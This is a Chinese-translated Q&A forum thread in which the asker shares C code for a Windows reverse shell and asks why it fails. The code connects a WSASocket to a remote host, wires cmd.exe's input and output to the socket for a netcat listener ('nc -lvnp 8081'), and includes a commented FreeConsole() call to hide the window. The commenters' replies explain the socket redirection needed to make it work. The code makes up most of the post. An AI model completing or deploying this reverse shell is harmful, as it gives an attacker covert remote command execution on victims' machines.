【发布时间】:2020-02-07 23:20:34
【问题描述】:
我正在试验 WSASockets,但我对它很陌生。
我尝试使用句柄通过套接字发送进程的输入和输出(在本例中为 cmd.exe,充当远程 shell),但每当我尝试使用时:
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
程序退出,不将结果提示到套接字的另一端:
nc -lvnp 8081。
在某些时候,我也尝试切换到普通套接字,但我听说使用这样的句柄仅适用于 WSA 的,因为它们是不重叠的。
到目前为止,这是我的代码:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void BindSock(char* rhost, int rport);
int main(int argc, char** argv) {
//FreeConsole(); // This is the way to make the cmd vanish
char rhost[] = "xxxxxxxxxxxxxxxx"; // ip to connect to
int rport = 8081;
BindSock(rhost, rport);
return 0;
}
void BindSock(char* rhost, int rport) {
/*while (1) {*/
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
// Initialize Winsock
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != NO_ERROR) {
printf("WSAStartup function failed with error: %d\n", iResult);
return;
}
printf("[*] Winsock init ... \n");
//init socket props
SOCKET sock;
sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0,0,0);
if (sock == INVALID_SOCKET) {
printf("socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return;
}
printf("[*] Sock init ... \n");
//Filling struc props
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
InetPton(AF_INET, rhost, &(clientService.sin_addr));
clientService.sin_port = htons(rport);
printf("[*] attempting to connect \n");
iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService),NULL,NULL,NULL,NULL);
if (iResult == SOCKET_ERROR) {
printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
iResult = closesocket(sock);
if (iResult == SOCKET_ERROR)
printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return;
}
printf("[X] Sock Connected\n");
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
printf("[*] Created process props\n");
CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
//}
}
【问题讨论】:
-
我怀疑您会感到相当困惑,因为您正在对 Win32 进程进行 POSIX 假设。在 Win32 上,没有“WSASockets 与普通套接字”之类的东西。 WSASockets 是普通的套接字。
-
另外需要注意的是,使用
STARTF_USESTDHANDLES仅有助于写入STDOUT并从STDIN句柄读取的进程。但正如您自己的FreeConsole()所示,在Win32 下您也可以直接访问控制台。我强烈怀疑CMD.EXE正在这样做。例如,在STDIN/STDOUT上很难完成制表符。请注意,在 POSIX 上,curses 还需要一个控制台,并且不适用于重定向句柄。 -
WSASocket()确实适用于CreateProcess()I/O 重定向,但前提是您使用支持该用法的套接字提供程序。 Microsoft 的默认提供程序可以,但用户可以使用其他提供程序。您可以使用WSAEnumProtocols()查找具有XP1_IFS_HANDLES标志的提供程序,然后将其WSAPROTOCOL_INFO传递给WSASocket() -
@MSalters 我真的不介意制表符完成,现在我只是想让它工作:) 那么我是否取消注释 freeconsole 功能?也许我没有清楚地理解您谈论直接控制台访问的部分。
-
@RemyLebeau 是的,我在许多论坛和聊天中都读到过,但我仍然没有在我的套接字(netcat 二进制文件)的另一端收到 cmd.exe 的输出,请执行你有线索吗?